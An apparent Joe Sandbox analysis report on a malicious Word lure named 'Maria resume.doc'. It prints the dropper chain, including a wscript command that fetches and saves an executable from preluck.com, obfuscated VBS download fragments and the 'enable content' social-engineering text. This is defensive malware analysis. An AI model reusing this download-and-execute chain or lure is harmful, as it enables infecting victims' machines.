Loading ...

Play interactive tourEdit tour

Analysis Report Maria resume.doc

Overview

General Information

Joe Sandbox Version:28.0.0 Lapis Lazuli
Analysis ID:199536
Start date:08.01.2020
Start time:02:02:41
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 5m 3s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Maria resume.doc
Cookbook file name:defaultwindowsofficecookbook.jbs
Analysis system description:Windows 10 64 bit (version 1803) with Office 2016, Adobe Reader DC 19, Chrome 70, Firefox 63, Java 8.171, Flash 30.0.0.113
Run name:Potential for more IOCs and behavior
Number of analysed new started processes analysed:8
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • HCA enabled
  • EGA enabled
  • HDC enabled
  • AMSI enabled
Analysis stop reason:Timeout
Detection:MAL
Classification:mal76.expl.winDOC@7/16@3/0
EGA Information:Failed
HDC Information:Failed
HCA Information:
  • Successful, ratio: 100%
  • Number of executed functions: 0
  • Number of non-executed functions: 0
Cookbook Comments:
  • Adjust boot time
  • Enable AMSI
  • Found application associated with file extension: .doc
  • Found Word or Excel or PowerPoint or XPS Viewer
  • Attach to Office via COM
  • Scroll down
  • Close Viewer
Warnings:
Show All
  • Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, CompatTelRunner.exe
  • Excluded IPs from analysis (whitelisted): 52.109.88.8, 13.107.3.128, 13.107.5.88, 52.109.12.18, 13.88.28.53
  • Excluded domains from analysis (whitelisted): client-office365-tas.msedge.net, afdo-tas-offload.trafficmanager.net, prod.configsvc1.live.com.akadns.net, s-0001.s-msedge.net, mobile.pipe.aria.microsoft.com, e-0009.e-msedge.net, prod.nexusrules.live.com.akadns.net, prd.col.aria.mobile.skypedata.akadns.net, pipe.skype.com, config.officeapps.live.com, officeclient.microsoft.com, pipe.prd.skypedata.akadns.net, config.edge.skype.com, nexusrules.officeapps.live.com, europe.configsvc1.live.com.akadns.net, pipe.cloudapp.aria.akadns.net
  • Report size getting too big, too many NtCreateFile calls found.
  • Report size getting too big, too many NtDeviceIoControlFile calls found.
  • Report size getting too big, too many NtProtectVirtualMemory calls found.
  • Report size getting too big, too many NtQueryAttributesFile calls found.
  • Report size getting too big, too many NtQueryValueKey calls found.
  • Report size getting too big, too many NtSetInformationFile calls found.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold760 - 100falsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Analysis Advice

All domains contacted by the sample do not resolve. Likely the sample is an old dropper which does no longer work



Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting311Winlogon Helper DLLProcess Injection11Masquerading1Credential DumpingVirtualization/Sandbox Evasion1Application Deployment SoftwareData from Local SystemData CompressedStandard Non-Application Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Replication Through Removable MediaExploitation for Client Execution21Port MonitorsExtra Window Memory Injection1Disabling Security Tools1Network SniffingSecurity Software Discovery1Remote ServicesData from Removable MediaExfiltration Over Other Network MediumStandard Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
External Remote ServicesGraphical User Interface1Accessibility FeaturesPath InterceptionVirtualization/Sandbox Evasion1Input CaptureRemote System Discovery1Windows Remote ManagementData from Network Shared DriveAutomated ExfiltrationCustom Cryptographic ProtocolExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Drive-by CompromiseScheduled TaskSystem FirmwareDLL Search Order HijackingProcess Injection11Credentials in FilesFile and Directory Discovery1Logon ScriptsInput CaptureData EncryptedMultiband CommunicationSIM Card SwapPremium SMS Toll Fraud
Exploit Public-Facing ApplicationCommand-Line InterfaceShortcut ModificationFile System Permissions WeaknessScripting311Account ManipulationSystem Information Discovery13Shared WebrootData StagedScheduled TransferStandard Cryptographic ProtocolManipulate Device CommunicationManipulate App Store Rankings or Ratings
Spearphishing LinkGraphical User InterfaceModify Existing ServiceNew ServiceObfuscated Files or Information1Brute ForceSystem Owner/User DiscoveryThird-party SoftwareScreen CaptureData Transfer Size LimitsCommonly Used PortJamming or Denial of ServiceAbuse Accessibility Features
Spearphishing AttachmentScriptingPath InterceptionScheduled TaskExtra Window Memory Injection1Two-Factor Authentication InterceptionNetwork SniffingPass the HashEmail CollectionExfiltration Over Command and Control ChannelUncommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

Signature Overview

Click to jump to signature section


Software Vulnerabilities:

barindex
Document exploit detected (creates forbidden files)Show sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\cfgPath3\RandomData.cmdJump to behavior
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\cmd.exeJump to behavior
Allocates a big amount of memory (probably used for heap spraying)Show sources
Source: winword.exeMemory has grown: Private usage: 1MB later: 110MB
Potential document exploit detected (performs DNS queries)Show sources
Source: global trafficDNS query: name: preluck.com

Networking:

barindex
Potential malicious VBS script found (has network functionality)Show sources
Source: C:\Windows\SysWOW64\cmd.exeDropped file: adoStream.Write urfind.ResponseBody Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeDropped file: adoStream.SaveToFile target Jump to dropped file
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)Show sources
Source: unknownDNS traffic detected: query: preluck.com replaycode: Server failure (2)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: preluck.com
Urls found in memory or binary dataShow sources
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.aadrm.com/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.onedrive.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/imports
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://augloop.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cdn.entity.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://clients.config.office.net/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://config.edge.skype.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://contentstorage.osi.office.net/dynamiccanvas/documentvirality/prod/index.html
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://contentstorage.osi.office.net/dynamiccanvas/progressui/index.html
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://cr.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://devnull.onenote.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://directory.services.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://graph.windows.net
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://graph.windows.net/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://lifecycle.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://login.windows.local
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://management.azure.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://management.azure.com/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://messaging.office.com/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ncus-000.contentsync.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://officeapps.live.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://onedrive.live.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://powerlift.acompli.net
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: wscript.exe, 00000004.00000002.1809312631.00000000033E7000.00000004.00000020.sdmpString found in binary or memory: https://preluck.com/
Source: wscript.exe, 00000004.00000002.1808690932.0000000001060000.00000004.00000020.sdmp, wscript.exe, 00000004.00000002.1809601918.0000000003680000.00000004.00000040.sdmp, RandomData.cmd.0.drString found in binary or memory: https://preluck.com/3.exe
Source: wscript.exe, 00000004.00000002.1809256667.00000000033C4000.00000004.00000020.sdmpString found in binary or memory: https://preluck.com/3.exe3
Source: wscript.exe, 00000004.00000002.1809256667.00000000033C4000.00000004.00000020.sdmp, wscript.exe, 00000004.00000002.1809601918.0000000003680000.00000004.00000040.sdmpString found in binary or memory: https://preluck.com/3.exec:
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://settings.outlook.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://tasks.office.com
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://wus2-000.contentsync.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 4324BC7D-47B3-4509-8257-266832584AB6.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Document image extraction number: 0Screenshot OCR: ENABLE EDITING" form the yellow barand then click "ENABLE CONTENT" Microsoft 2019
Source: Document image extraction number: 0Screenshot OCR: ENABLE CONTENT" Microsoft 2019
Potential malicious VBS script found (suspicious strings)Show sources
Source: C:\Windows\SysWOW64\cmd.exeDropped file: Set urfind = CreateObject("WinHt" + "tp.Wi" + "nHttpRe" + "quest.5.1") Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeDropped file: Set adoStream = CreateObject("ADODB.Stream") Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exeDropped file: Set xm1iua = CreateObject("Scripting.FileSystemObject") Jump to dropped file
Document has an unknown application nameShow sources
Source: Maria resume.docOLE indicator application name: unknown
Unable to load, office file is protected or invalidShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEWindow title found: password
Classification labelShow sources
Source: classification engineClassification label: mal76.expl.winDOC@7/16@3/0
Creates files inside the user directoryShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Creates mutexesShow sources
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1836:120:WilError_01
Creates temporary filesShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{19E8CAC7-FD7C-420F-977A-642F0320600F} - OProcSessId.datJump to behavior
Document contains an OLE Word Document stream indicating a Microsoft Word fileShow sources
Source: Maria resume.docOLE indicator, Word Document stream: true
Document contains summary information with irregular field valuesShow sources
Source: Maria resume.docOLE document summary: title field not present or empty
Source: Maria resume.docOLE document summary: edited time not present or 0
Executes visual basic scriptsShow sources
Source: unknownProcess created: C:\Windows\SysWOW64\wscript.exe wscript //nologo c:\cfgPath3\Parents.vbs https://preluck.com/3.exe c:\cfgPath3\BrainGos.exe
Reads ini filesShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
Reads software policiesShow sources
Source: C:\Windows\SysWOW64\wscript.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Reads the hosts fileShow sources
Source: C:\Windows\SysWOW64\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Spawns processesShow sources
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE 'C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE' /Automation -Embedding
Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\cfgPath3\RandomData.cmd
Source: unknownProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0x4
Source: unknownProcess created: C:\Windows\SysWOW64\wscript.exe wscript //nologo c:\cfgPath3\Parents.vbs https://preluck.com/3.exe c:\cfgPath3\BrainGos.exe
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\cfgPath3\RandomData.cmdJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe wscript //nologo c:\cfgPath3\Parents.vbs https://preluck.com/3.exe c:\cfgPath3\BrainGos.exeJump to behavior
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
Executable creates window controls seldom found in malwareShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEWindow found: window name: SysTabControl32Jump to behavior
Found graphical window changes (likely an installer)Show sources
Source: Window RecorderWindow detected: More than 3 window changes detected
Checks if Microsoft Office is installedShow sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OfficeJump to behavior
Document has a 'subject' value indicative of goodwareShow sources
Source: Maria resume.docInitial sample: OLE summary subject = szjmzaob
Document has a 'vbamacros' value indicative of goodwareShow sources
Source: Maria resume.docInitial sample: OLE indicators vbamacros = False
Document has an 'encrypted' value indicative of goodwareShow sources
Source: Maria resume.docInitial sample: OLE indicators encrypted = True

Persistence and Installation Behavior:

barindex
Command shell drops VBS filesShow sources
Source: C:\Windows\SysWOW64\cmd.exeFile created: c:\cfgPath3\Parents.vbsJump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Disables application error messsages (SetErrorMode)Show sources
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
